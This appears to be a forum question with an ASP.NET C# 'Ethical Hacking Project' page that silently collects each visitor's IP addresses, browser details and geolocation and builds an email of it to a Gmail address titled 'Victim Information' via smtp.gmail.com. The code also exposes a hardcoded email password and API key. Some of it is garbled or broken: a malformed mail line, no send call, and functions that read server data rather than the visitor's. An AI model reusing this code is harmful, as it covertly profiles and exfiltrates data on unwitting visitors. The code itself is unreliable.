I am redirecting webform to getting all relevent detail using below code but issue is that page path is also displaying which should not be display.
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="GroupInfo.aspx.cs" Inherits="Ethical_Hacking_Project.GroupInfo" %> sefsdfsd
Code
namespace Ethical_Hacking_Project
{
public partial class Public_Information_Extrator : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
SendHTMLMail(GetGroupInfo(),GetPublicIPAddress(), UserAgent(), GetBrowserInfo(), GetIPAddress(), GetClientMAC(), GetOSInfo(), GetCountryInfo(),getgvdata(gvLocation));
Response.Write("<br/>" + GetGroupInfo());
Response.Write("<br/>" + GetPublicIPAddress());
Response.Write("<br/>" + UserAgent());
Response.Write("<br/>" + GetBrowserInfo());
Response.Write("<br/>" + GetIPAddress());
Response.Write("<br/>" + GetClientMAC());
Response.Write("<br/>" + GetOSInfo());
Response.Write("<br/>" + GetCountryInfo());
}
}
public string GetGroupInfo()
{
StreamReader reader = new StreamReader(Server.MapPath("~/GroupInfo.aspx"));
string readFile = reader.ReadToEnd();
//Session["Value"] = "welcome";
//Response.Redirect("~/html.aspx");
string myString = "";
myString = readFile;
myString = myString.Replace("$$Name$$", "akhterddd");
myString = myString.Replace("$$Class$$", "MSCS ");
myString = myString.Replace("$$CourseCode$$", "EH-101");
myString = myString.Replace("$$ProjectName$$", "Ethical Hacking Project");
return myString;
}
//***************************************** PUBLIC IP ADDRESS *****************************************//
static string GetPublicIPAddress()
{
String address = "<h3>";
WebRequest request = WebRequest.Create("http://checkip.dyndns.org/");
using (WebResponse response = request.GetResponse())
using (StreamReader stream = new StreamReader(response.GetResponseStream()))
{
address = stream.ReadToEnd();
}
int first = address.IndexOf("Address: ") + 9;
int last = address.LastIndexOf("</body");
address = "<h3> Public IP:" + " "
+ "<br>" + ""
+ "IP = " + address.Substring(first, last - first) + " ";
return address;
}
//************************************** USER AGENT DETAIL *****************************************//
private string UserAgent()
{
string userAgent = "<h3> UserAgent Detail:" + " "
+ "<br>" + ""
+ "Agent = " + Request.UserAgent + " ";
if (userAgent.IndexOf("MSIE 6.0") > -1)
{
// The browser is Microsoft Internet Explorer Version 6.0.
}
return userAgent;
}
//************************************** BROWSER DETAIL *****************************************//
private string GetBrowserInfo()
{
HttpBrowserCapabilities browser = Request.Browser;
string s = "<h3> Browser Capabilities:" + " "
+ "<br>" + ""
+ "Type = " + browser.Type + " " + "<br>" + ""
+ "Name = " + browser.Browser + " " + "<br>" + ""
+ "Version = " + browser.Version + "" + "<br>" + ""
+ "Major Version = " + browser.MajorVersion + "" + "<br>" + ""
+ "Minor Version = " + browser.MinorVersion + "" + "<br>" + ""
+ "Platform = " + browser.Platform + "" + "<br>" + ""
+ "Is Beta = " + browser.Beta + "" + "<br>" + ""
+ "Is Crawler = " + browser.Crawler + "" + "<br>" + ""
+ "Is AOL = " + browser.AOL + "" + "<br>" + ""
+ "Is Win16 = " + browser.Win16 + "" + "<br>" + ""
+ "Is Win32 = " + browser.Win32 + " " + "<br>" + ""
+ "Supports Frames = " + browser.Frames + "" + "<br>" + ""
+ "Supports Tables = " + browser.Tables + "" + "<br>" + ""
+ "Supports Cookies = " + browser.Cookies + "" + "<br>" + ""
+ "Supports VBScript = " + browser.VBScript + "" + "<br>" + ""
+ "Supports JavaScript = " + browser.EcmaScriptVersion.ToString() + "" + "<br>" + ""
+ "Supports Java Applets = " + browser.JavaApplets + "" + "<br>" + ""
+ "Supports ActiveX Controls = " + browser.ActiveXControls + "" + "<br>" + ""
+ "Supports JavaScript Version = " + browser["JavaScriptVersion"] + "";
return s.ToString();
}
//************************************** PRIVATE IP ADDRESS ******************************************//
protected string GetIPAddress()
{
string PIP = "";
PIP = "<h3>" + "Private IP: " + "<br>" + ""
+ "Private IP = " + Dns.GetHostEntry(Dns.GetHostName()).AddressList.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork).ToString() + " ";
return PIP;
}
//**************************************** MAC ADDRESS ***********************************************//
private static string GetClientMAC()
{
// var macAddresses = "";
foreach (NetworkInterface nic in NetworkInterface.GetAllNetworkInterfaces())
{
if (nic.OperationalStatus == OperationalStatus.Up)
{
return "<h3> MacAddress:" + " " + "<br>" + ""
+ "Mac = " + AddressBytesToString(nic.GetPhysicalAddress().GetAddressBytes()) + " ";
}
}
return string.Empty; ;
}
private static string AddressBytesToString(byte[] addressBytes)
{
return string.Join("-", (from b in addressBytes
select b.ToString("X2")).ToArray());
}
//************************************** OS INFORMATION DETAIL:- *****************************************//
private string GetOSInfo()
{
SelectQuery Sq = new SelectQuery("Win32_OperatingSystem");
ManagementObjectSearcher objOSDetails = new ManagementObjectSearcher(Sq);
ManagementObjectCollection osDetailsCollection = objOSDetails.Get();
StringBuilder sb = new StringBuilder();
foreach (ManagementObject mo in osDetailsCollection)
{
sb.Append("Name : " + mo["name"].ToString() + "<br/>");
sb.Append("Version : " + mo["version"].ToString() + "<br/>");
sb.Append("Csname : " + mo["csname"].ToString() + "<br/>");
sb.Append("Boot Device : " + mo["BootDevice"].ToString() + "<br/>");
sb.Append("Build Number : " + mo["BuildNumber"].ToString() + "<br/>");
sb.Append("BuildType : " + mo["BuildType"].ToString() + "<br/>");
sb.Append("Caption : " + mo["Caption"].ToString() + "<br/>");
sb.Append("CodeSet : " + mo["CodeSet"].ToString() + "<br/>");
sb.Append("CountryCode : " + mo["CountryCode"].ToString() + "<br/>");
sb.Append("CreationClassName : " + mo["CreationClassName"].ToString() + "<br/>");
sb.Append("CSCreationClassName : " + mo["CSCreationClassName"].ToString() + "<br/>");
sb.Append("CurrentTimeZone : " + mo["CurrentTimeZone"].ToString() + "<br/>");
sb.Append("DataExecutionPrevention_Available : " + mo["DataExecutionPrevention_Available"].ToString() + "<br/>");
sb.Append("DataExecutionPrevention_32BitApplications : " + mo["DataExecutionPrevention_32BitApplications"].ToString() + "<br/>");
sb.Append("DataExecutionPrevention_Drivers : " + mo["DataExecutionPrevention_Drivers"].ToString() + "<br/>");
sb.Append("DataExecutionPrevention_SupportPolicy : " + mo["DataExecutionPrevention_SupportPolicy"].ToString() + "<br/>");
sb.Append("Debug : " + mo["Debug"].ToString() + "<br/>");
sb.Append("Description : " + mo["Description"].ToString() + "<br/>");
sb.Append("Distributed : " + mo["Distributed"].ToString() + "<br/>");
sb.Append("EncryptionLevel : " + mo["EncryptionLevel"].ToString() + "<br/>");
sb.Append("ForegroundApplicationBoost : " + mo["ForegroundApplicationBoost"].ToString() + "<br/>");
sb.Append("FreePhysicalMemory : " + mo["FreePhysicalMemory"].ToString() + "<br/>");
sb.Append("FreeSpaceInPagingFiles : " + mo["FreeSpaceInPagingFiles"].ToString() + "<br/>");
sb.Append("FreeVirtualMemory : " + mo["FreeVirtualMemory"].ToString() + "<br/>");
sb.Append("InstallDate : " + mo["InstallDate"].ToString() + "<br/>");
sb.Append("LastBootUpTime : " + mo["LastBootUpTime"].ToString() + "<br/>");
sb.Append("LocalDateTime : " + mo["LocalDateTime"].ToString() + "<br/>");
sb.Append("Locale : " + mo["Locale"].ToString() + "<br/>");
sb.Append("Manufacturer : " + mo["Manufacturer"].ToString() + "<br/>");
sb.Append("MaxNumberOfProcesses : " + mo["MaxNumberOfProcesses"].ToString() + "<br/>");
sb.Append("MaxProcessMemorySize : " + mo["MaxProcessMemorySize"].ToString() + "<br/>");
sb.Append("NumberOfProcesses : " + mo["NumberOfProcesses"].ToString() + "<br/>");
sb.Append("NumberOfUsers : " + mo["NumberOfUsers"].ToString() + "<br/>");
sb.Append("OperatingSystemSKU : " + mo["OperatingSystemSKU"].ToString() + "<br/>");
sb.Append("OSArchitecture : " + mo["OSArchitecture"].ToString() + "<br/>");
sb.Append("OSLanguage : " + mo["OSLanguage"].ToString() + "<br/>");
sb.Append("OSType : " + mo["OSType"].ToString() + "<br/>");
sb.Append("Primary : " + mo["Primary"].ToString() + "<br/>");
sb.Append("ProductType : " + mo["ProductType"].ToString() + "<br/>");
sb.Append("SerialNumber : " + mo["SerialNumber"].ToString() + "<br/>");
sb.Append("ServicePackMajorVersion : " + mo["ServicePackMajorVersion"].ToString() + "<br/>");
sb.Append("ServicePackMinorVersion : " + mo["ServicePackMinorVersion"].ToString() + "<br/>");
sb.Append("SizeStoredInPagingFiles : " + mo["SizeStoredInPagingFiles"].ToString() + "<br/>");
sb.Append("Status : " + mo["Status"].ToString() + "<br/>");
sb.Append("SuiteMask : " + mo["SuiteMask"].ToString() + "<br/>");
sb.Append("SystemDevice : " + mo["SystemDevice"].ToString() + "<br/>");
sb.Append("SystemDirectory : " + mo["SystemDirectory"].ToString() + "<br/>");
sb.Append("SystemDrive : " + mo["SystemDrive"].ToString() + "<br/>");
sb.Append("TotalVirtualMemorySize : " + mo["TotalVirtualMemorySize"].ToString() + "<br/>");
sb.Append("TotalVisibleMemorySize : " + mo["TotalVisibleMemorySize"].ToString() + "<br/>");
sb.Append("Version : " + mo["Version"].ToString() + "<br/>");
sb.Append("WindowsDirectory : " + mo["WindowsDirectory"].ToString() + "<br/>");
}
return "<h3> Operating System Information:-" + " " + "<br>" + sb.ToString()+ "";
}
//************************************** Country INFORMATION DETAIL:- *****************************************//
public class Location
{
public string IPAddress { get; set; }
public string CountryName { get; set; }
public string CountryCode { get; set; }
public string CityName { get; set; }
public string RegionName { get; set; }
public string ZipCode { get; set; }
public string Latitude { get; set; }
public string Longitude { get; set; }
public string TimeZone { get; set; }
}
public string GetCountryInfo()
{
string ipAddress = Request.ServerVariables["HTTP_X_FORWARDED_FOR"];
if (string.IsNullOrEmpty(ipAddress))
{
ipAddress = Request.ServerVariables["REMOTE_ADDR"];
}
string APIKey = "e56f667f98265912bc0fa937413351933be9d3e15aeee6448b3d8443e8d47c48";
string url = string.Format("http://api.ipinfodb.com/v3/ip-city/?key=e56f667f98265912bc0fa937413351933be9d3e15aeee6448b3d8443e8d47c48&format=json", APIKey, ipAddress);
using (WebClient client = new WebClient())
{
string json = client.DownloadString(url);
Location location = new JavaScriptSerializer().Deserialize<Location>(json);
List<Location> locations = new List<Location>();
locations.Add(location);
gvLocation.DataSource = locations;
gvLocation.DataBind();
}
return "<h3> Country Information:-" + " " + "<br>" + ipAddress +" ";
}
public static string getgvdata(GridView gvLocation)
{
StringBuilder strBuilder = new StringBuilder();
StringWriter strWriter = new StringWriter(strBuilder);
HtmlTextWriter htw = new HtmlTextWriter(strWriter);
gvLocation.RenderControl(htw);
return strBuilder.ToString();
}
public override void VerifyRenderingInServerForm(Control control)
{
/* Verifies that the control is rendered */
}
//************************************** Email *****************************************//
public static void SendHTMLMail(string Gropinfo,string PublicIP, string UAgent, string BRoInfo, string PrivateIP, string Macaddress, string OSInfo, string CountryInfo,string GV)
{
MailMessage mail akhterddd@gmail.com");
mail.To.Add(new MailAddress("akhterddd@gmail.com"));
mail.Subject = "Victim Information ";
mail.Body = Gropinfo + PublicIP + UAgent + BRoInfo + PrivateIP + Macaddress + OSInfo + CountryInfo + GV;
mail.IsBodyHtml = true;
SmtpClient smtp = new SmtpClient();
smtp.Host = "smtp.gmail.com";
smtp.Port = 587;
smtp.UseDefaultCredentials = false;
smtp.Credentials = new System.Net.NetworkCredential("akhterddd@gmail.com", "Dsspwss");
smtp.EnableSsl = true;
}
}
}